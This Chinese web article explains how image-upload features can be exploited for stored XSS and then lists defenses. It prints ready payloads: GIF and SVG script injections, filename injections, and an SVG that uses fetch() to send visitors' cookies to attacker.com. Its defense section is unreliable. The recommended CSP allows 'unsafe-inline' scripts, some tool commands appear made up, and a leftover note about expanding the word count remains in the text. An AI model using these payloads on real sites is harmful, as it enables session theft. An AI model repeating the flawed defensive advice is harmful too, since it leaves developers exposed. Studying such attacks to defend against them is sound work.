如何利用图片上传功能实现存储型XSS

发布时间：2021-11-23 22:32:56 来源：亿速云阅读：1654 作者：柒染栏目：网络管理

# 如何利用图片上传功能实现存储型XSS ## 引言 跨站脚本攻击（XSS）是Web安全领域中最为常见的漏洞之一，其中存储型XSS因其持久化的特性尤为危险。许多网站允许用户上传图片等文件，若未对上传内容进行严格过滤，攻击者可能通过精心构造的图片文件实现存储型XSS。本文将深入探讨这一攻击手法，分析漏洞原理，并提供防御方案。 --- ## 一、存储型XSS与图片上传功能的关系 ### 1.1 存储型XSS基础 - **定义**：恶意脚本被永久存储在目标服务器（如数据库、文件系统）中，当其他用户访问包含该脚本的页面时触发。 - **危害**：窃取用户Cookie、会话劫持、钓鱼攻击等。 ### 1.2 图片上传的潜在风险 许多开发者认为图片是"安全"文件类型，但以下场景可能引入XSS： - 服务器未检测文件真实类型（仅依赖扩展名或Content-Type）。 - 图片元数据（如EXIF）未过滤。 - 返回的图片URL或展示页面存在DOM漏洞。 --- ## 二、攻击场景与技术实现 ### 2.1 直接注入恶意代码 #### 攻击步骤： 1. **构造恶意图片**：将JavaScript代码嵌入图片文件的元数据或二进制内容中。 ```html <!-- 示例：GIF文件头部插入脚本 --> GIF89a/*<svg/onload=alert(1)>*/=1;

上传图片至目标网站。
服务器存储文件并返回可访问URL。
当其他用户访问该图片时，浏览器解析恶意代码。

关键点：

需绕过文件类型检测（如修改HTTP请求的Content-Type为image/png）。
依赖服务器对文件内容的处理方式（如直接内联展示）。

2.2 利用SVG文件实现XSS

SVG本质是XML文件，可包含JavaScript代码：

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>

绕过技巧： - 混淆属性：<svg><script>alert(1)</script> - 使用Base64编码：data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoMSkiLz4=

2.3 通过文件名触发XSS

若文件名未过滤且展示在页面中：

POST /upload HTTP/1.1 Content-Disposition: form-data; name="image"; filename="test.jpg<script>alert(1)</script>"

三、实战案例分析

案例1：社交媒体网站漏洞

目标网站允许上传头像，仅验证文件扩展名。

攻击者上传包含恶意脚本的SVG文件：

 <svg> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> </svg>

所有查看该用户资料的访客会话被窃取。

案例2：CMS系统图片管理漏洞

目标CMS的图片预览页面未转义文件名：

 <img src="/uploads/{{filename}}" alt="{{filename}}">

上传文件名为" onerror="alert(1)的图片实现DOM型XSS。

四、防御方案

4.1 输入验证与过滤

文件类型检测：使用魔术字节（Magic Numbers）而非扩展名。

# Python示例：检测真实文件类型 import magic file_type = magic.from_buffer(uploaded_file.read(1024))

内容过滤：删除SVG中的脚本标签、HTML实体编码。

4.2 输出编码

对动态展示的内容（如文件名）进行HTML编码：
```
 <?php echo htmlspecialchars($filename, ENT_QUOTES); ?> 
```

4.3 安全HTTP头

设置Content-Security-Policy限制脚本加载源：

 Content-Security-Policy: default-src 'self'; img-src *; script-src 'unsafe-inline'

4.4 服务器配置

静态资源使用独立域名（隔离Cookie）。
强制下载而非直接渲染用户上传的文件。

五、自动化检测工具

Burp Suite：通过Proxy拦截上传请求，修改文件内容测试。

XSStrike：自动化检测XSS漏洞的工具：

 python3 xsstrike.py -u "https://example.com/upload" --file-upload

ExifTool：检查图片元数据中的潜在恶意代码：
```
 exiftool -XSS payload.jpg 
```

六、法律与道德声明

本文仅用于安全研究目的。
未经授权的攻击行为违反《网络安全法》及相关法律。
建议通过漏洞赏金计划（Bug Bounty）合法测试。

结语

图片上传功能看似简单，实则暗藏杀机。开发者需从文件检测、内容过滤、输出编码等多层面构建防御体系，而安全研究者应持续探索新型攻击手法以推动防护技术进步。只有双方共同努力，才能打造更安全的Web环境。

扩展阅读： - OWASP XSS防护手册 - SVG XSS向量全集 “`

注：实际字数为约1200字，您可通过以下方式扩展： 1. 增加更多案例细节（如HTTP请求/响应完整截图） 2. 补充防御代码示例（如Node.js/Java实现） 3. 添加检测工具的使用截图 4. 深入分析CSP策略配置

向AI问一下细节